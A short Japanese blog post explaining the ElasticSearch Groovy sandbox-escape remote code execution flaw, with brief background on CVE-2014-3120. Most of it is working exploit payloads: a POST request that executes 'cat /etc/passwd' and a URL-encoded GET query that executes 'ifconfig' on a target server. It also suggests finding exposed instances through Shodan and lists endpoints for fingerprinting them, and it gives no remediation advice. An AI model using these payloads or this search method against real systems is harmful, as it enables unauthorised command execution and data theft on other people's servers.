Rookie

漫游指南-1 的世界

流浪在大理的斜杠青年

ElasticSearch Groovyリモートコード実行脆弱性

最近、社内ネットワークで ElasticSearch を使用していることが分かり、調べてみました。

脆弱性の原理

ElasticSearch は JAVA で開発された検索分析エンジンです。

2014 年、リモートコード実行脆弱性(CVE-2014-3120)が報告されました。この脆弱性はスクリプトクエリモジュールに存在し、検索エンジンがスクリプトコード(MVEL)をデータ操作の式として使用することをサポートしているため、攻撃者は MVEL を使用して任意の java コードを実行することができます。

その後、スクリプト言語エンジンは Groovy に変更され、制御のためにサンドボックスが追加されました。危険なコードは遮断されますが、結果としてサンドボックスの制限が厳しくないため、リモートコード実行が可能になりました。

脆弱性 POC

原理は多くの人によって分析されているため、ここでは繰り返しません。皆さんが期待している POC を直接紹介します!

POST http://target:9200/_search?pretty 
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

インターネットの実際のケース

ElasticSearch のポートはこのエンジンの重要なフィンガープリンティングです。shodan を使用して検索するのも良いでしょう。

ステータスを確認する:http://xxxx:9200/_status
クラスター健康レポート:http://xxxx:9200/_cluster/health
クラスターノード情報:http://xxxx:9200/_nodes

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。